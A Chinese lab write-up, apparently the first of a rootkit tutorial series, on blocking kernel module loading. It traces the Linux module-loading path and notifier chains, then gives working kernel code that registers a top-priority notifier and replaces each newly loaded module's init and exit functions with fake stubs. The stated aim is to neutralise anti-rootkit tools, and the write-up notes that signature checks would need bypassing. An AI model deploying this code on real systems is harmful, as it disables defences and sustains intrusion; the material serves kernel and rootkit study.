Linux Rootkit 实验 | 00020 Rootkit 基本功能实现x阻止模块加载
醉里挑灯看剑,梦回吹角连营。八百里分麾下炙,五十弦翻塞外声,沙场秋点兵。
实验说明
本次实验将初步实现 rootkit 的基本功能:
阻止其他内核模块加载
提供 root 后门
隐藏文件
隐藏进程
隐藏端口
隐藏内核模块
本次实验基于 0001 实验中学习的挂钩技术。
注:由于本次实验内容过多,故分为00020
到00025
六个实验报告分别讲解。
本节实现“阻止其他内核模块加载”功能
本系列实验学习自 novice 师傅。感谢师傅的无私分享!
实验环境
uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
GCC version:6.1.1
上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以 root 权限执行。
注:后面实验参考的是4.10.10的源码
实验过程
控制内核模块加载
首先如果可以,把进来的漏洞堵上,防止其他人进入系统。接下来,就是阻止可能有威胁的内核代码执行(如 Anti-rootkit 之类),这个有些难,我们先做到控制内核模块的加载,之后才是提供其他功能。先保障生存再展开工作 :)
控制内核模块的加载,可以从通知链
机制开始。“简单来讲,当某个子系统或者模块发生某个事件时,该子系统主动遍历某个链表,而这个链表中记录着其他子系统或者模块注册的事件处理函数,通过传递恰当的参数调用这个处理函数达到事件通知的目的。”
当我们注册一个模块通知处理函数,在模块完成加载后,开始初始化前,状态为MODULE_STATE_COMING
时,我们把它的入口函数和出口函数替换掉,就达到了阻止模块加载的目的。下面结合内核源码进行解释:
首先进入init_module
的定义,它的行为非常好理解:
// kernel/module.c
SYSCALL_DEFINE3 ( init_module , void __user * , umod ,
unsigned long , len , const char __user * , uargs )
{
int err ;
struct load_info info = { };
// 检查内核是否允许加载模块
err = may_init_module ();
if ( err )
return err ;
pr_debug ( "init_module: umod=%p, len=%lu, uargs=%p \n " ,
umod , len , uargs );
// 把模块从用户区复制到内核区
err = copy_module_from_user ( umod , len , & info );
if ( err )
return err ;
// 交给 load_module 函数进一步处理
return load_module ( & info , uargs , 0 );
}
接着跟进到load_module
中。这个函数有点长,我们只看关注的地方:
// kernel/module.c
static int load_module ( struct load_info * info , const char __user * uargs , int flags )
{
...
// 检查模块签名,在内核编译时配置了`CONFIG_MODULE_SIG`才会生效
err = module_sig_check ( info , flags );
if ( err )
goto free_copy ;
...
/* Finally it's fully formed, ready to start executing. */
// 到这里,模块已经完成加载,即将执行
err = complete_formation ( mod , info );
if ( err )
goto ddebug_cleanup ;
// 我们注册的通知处理函数将在`prepare_coming_module`被调用
err = prepare_coming_module ( mod );
if ( err )
goto bug_cleanup ;
...
/* Link in to syfs. */
// 这一步使模块与 sysfs 发生联系,虽然我们后边用不到,但还是说一下
err = mod_sysfs_setup ( mod , info , mod -> kp , mod -> num_kp );
if ( err < 0 )
goto coming_cleanup ;
...
// 在这里,模块的入口函数将被执行,但是已经被我们替换过了 :)
return do_init_module ( mod );
上面的module_sig_check
函数我们暂时不需要关注,这里列出来是为了提醒大家,如果内核开启了模块签名检查的选项,那么为了加载 rootkit 需要绕过这个防御措施。那时,可以从这个地方的代码入手(但是似乎内核签名检查要求不是很严格)。
下面我们跟进看一下prepare_coming_module
:
static int prepare_coming_module ( struct module * mod )
{
int err ;
ftrace_module_enable ( mod );
err = klp_module_coming ( mod );
if ( err )
return err ;
// 这里是关键点!它会调用通知链中的通知处理函数,
// MODULE_STATE_COMING 会传递给我们的处理函数
blocking_notifier_call_chain ( & module_notify_list ,
MODULE_STATE_COMING , mod );
return 0 ;
}
相当于,内核告诉模块通知链的通知处理函数一个信息:MODULE_STATE_COMING
,即一个模块准备好了,同时把这个模块传递给处理函数。我们只需要在处理函数中用假的入口/出口函数替代掉模块自己的入口/出口函数。
跟进到blocking_notifier_call_chain
:
// kernel/notifier.c
int blocking_notifier_call_chain ( struct blocking_notifier_head * nh , unsigned long val , void * v )
{
return __blocking_notifier_call_chain ( nh , val , v , - 1 , NULL );
}
再跟进:
int __blocking_notifier_call_chain ( struct blocking_notifier_head * nh , \
unsigned long val , void * v , \
int nr_to_call , int * nr_calls )
{
int ret = NOTIFY_DONE ;
/*
* We check the head outside the lock, but if this access is
* racy then it does not matter what the result of the test
* is, we re-check the list after having taken the lock anyway:
*/
if ( rcu_access_pointer ( nh -> head )) {
down_read ( & nh -> rwsem );
// 这里!它将调用我们的通知处理函数
ret = notifier_call_chain ( & nh -> head , val , v , nr_to_call ,
nr_calls );
up_read ( & nh -> rwsem );
}
return ret ;
}
跟进到notifier_call_chain
:
/**
* notifier_call_chain - Informs the registered notifiers about an event.
* @nl: Pointer to head of the blocking notifier chain
* @val: Value passed unmodified to notifier function
* @v: Pointer passed unmodified to notifier function
* @nr_to_call: Number of notifier functions to be called. Don't care
* value of this parameter is -1.
* @nr_calls: Records the number of notifications sent. Don't care
* value of this field is NULL.
* @returns: notifier_call_chain returns the value returned by the
* last notifier function called.
*/
static int notifier_call_chain ( struct notifier_block ** nl ,
unsigned long val , void * v ,
int nr_to_call , int * nr_calls )
{
int ret = NOTIFY_DONE ;
struct notifier_block * nb , * next_nb ;
nb = rcu_dereference_raw ( * nl );
while ( nb && nr_to_call ) {
next_nb = rcu_dereference_raw ( nb -> next );
...
// 这里!最终调用了我们的处理函数
ret = nb -> notifier_call ( nb , val , v );
...
}
注意,用于描述通知处理函数的结构体是struct notifier_block
,这可以从负责注册/注销模块通知处理函数的函数那里看到(它们传入的参数正是):
// kernel/module.c
int register_module_notifier ( struct notifier_block * nb )
{
return blocking_notifier_chain_register ( & module_notify_list , nb );
}
int unregister_module_notifier ( struct notifier_block * nb )
{
return blocking_notifier_chain_unregister ( & module_notify_list , nb );
}
对于如何注册我们就不再跟进了。大家有兴趣可以跟进看看。我们下面跟进到struct notifier_block
结构体的定义:
struct notifier_block ;
typedef int ( * notifier_fn_t )( struct notifier_block * nb ,
unsigned long action , void * data );
struct notifier_block {
notifier_fn_t notifier_call ;
struct notifier_block __rcu * next ;
int priority ;
};
也就是说,我们编写一个通知处理函数,然后填充一个struct notifier_block
,最后用register_module_notifier
注册就可以了。
下面开始干活!
首先,声明一个通知处理函数,并填充结构体:
int module_notifier ( struct notifier_block * nb ,
unsigned long action , void * data );
struct notifier_block nb = {
. notifier_call = module_notifier ,
. priority = INT_MAX
};
然后实现通知处理函数(这里实在佩服 novice 师傅,这代码我一时半会真的写不出来,需要学习内核开发的知识。读代码理解代码是一回事,hack
代码是另一回事):
int fake_init ( void );
void fake_exit ( void );
int module_notifier ( struct notifier_block * nb ,
unsigned long action , void * data )
{
struct module * module ;
unsigned long flags ;
// 定义锁。
DEFINE_SPINLOCK ( module_notifier_spinlock );
module = data ;
printk ( "Processing the module: %s \n " , module -> name );
//保存中断状态加锁。
spin_lock_irqsave ( & module_notifier_spinlock , flags );
switch ( module -> state ) {
case MODULE_STATE_COMING :
printk ( "Replacing init and exit functions: %s. \n " ,
module -> name );
// 偷天换日:篡改模块的初始函数与退出函数。
module -> init = fake_init ;
module -> exit = fake_exit ;
break ;
default:
break ;
}
// 恢复中断状态解锁。
spin_unlock_irqrestore ( & module_notifier_spinlock , flags );
return NOTIFY_DONE ;
}
int fake_init ( void )
{
printk ( "%s \n " , "Fake init." );
return 0 ;
}
void fake_exit ( void )
{
printk ( "%s \n " , "Fake exit." );
return ;
}
最后,分别在入口和出口函数中注册和注销:
// init
register_module_notifier ( & nb );
// exit
unregister_module_notifier ( & nb );
测试结果如下:
首先我们在正常情况下加载以及清除lamb
模块:
接着我们加载guard
模块,再测试lamb
模块。可以看到,我们先加载guard
模块,再加载lamb
模块,它的入口和出口函数已经被Fake
替换。我们卸载lamb
和guard
,再次加载lamb
模块,发现加载和卸载又恢复正常。
实验总结与思考
感觉 Linux kernel 虽然是用 C 写的,但有很鲜明的面向对象的特点。尤其是在结构体中嵌入函数指针作为成员,几乎就是类+方法的翻版。带着这种背景观点去探索源码可能会好一些,你看到某些结构体,可以猜测它们会不会有对应的一些方法。
从探索模块加载过程的旅程来看,阅读内核源码没有想象中的难,也并非枯燥,而是充满了乐趣,也许是因为带着问题去探索吧。
我们注意到,上面的通知处理函数使用了锁机制。这是内核编程中经常需要注意的。
拓展延伸
通知链介绍
在Linux内核中,各个子系统之间有很强的相互关系,某些子系统可能对其它子系统产生的事件感兴趣。为了让某个子系统在发生某个事件时通知感兴趣的子系统,Linux内核引入了通知链技术。通知链只能够在内核的子系统之间使用,而不能够在内核和用户空间进行事件的通知。
简单来说,通知链就是一个单向链表。
通知链代码主要位于kernel/notifier.c
和kernel/notifier.h
中。
通知链的核心是:
struct notifier_block ;
typedef int ( * notifier_fn_t )( struct notifier_block * nb ,
unsigned long action , void * data );
struct notifier_block {
notifier_fn_t notifier_call ;
struct notifier_block __rcu * next ;
int priority ;
};
上面的__rcu
是编译器相关的宏定义,我们暂时不去管它。
其中notifier_call
即通知处理函数的指针,*next
是链表的指针,priority
是优先级,同一条通知链上的节点数字越高,优先级越大,其处理函数就会优先被执行。这也是我们上边把priority
设定为INT_MAX
的原因。
内核中定义了四种通知链类型,如下:
struct atomic_notifier_head {
spinlock_t lock ;
struct notifier_block __rcu * head ;
};
struct blocking_notifier_head {
struct rw_semaphore rwsem ;
struct notifier_block __rcu * head ;
};
struct raw_notifier_head {
struct notifier_block __rcu * head ;
};
struct srcu_notifier_head {
struct mutex mutex ;
struct srcu_struct srcu ;
struct notifier_block __rcu * head ;
};
kernel/notifier.h
的注释解释了它们之间的区别:
/*
* Notifier chains are of four types:
*
* Atomic notifier chains: Chain callbacks run in interrupt/atomic
* context. Callouts are not allowed to block.
* Blocking notifier chains: Chain callbacks run in process context.
* Callouts are allowed to block.
* Raw notifier chains: There are no restrictions on callbacks,
* registration, or unregistration. All locking and protection
* must be provided by the caller.
* SRCU notifier chains: A variant of blocking notifier chains, with
* the same restrictions.
*/
参照kernel/module.h
可以看出,module
依赖的通知链是blocking
类型:
static BLOCKING_NOTIFIER_HEAD ( module_notify_list );
int register_module_notifier ( struct notifier_block * nb )
{
return blocking_notifier_chain_register ( & module_notify_list , nb );
}
更多关于通知链的内容,请阅读【参考资料】。
参考资料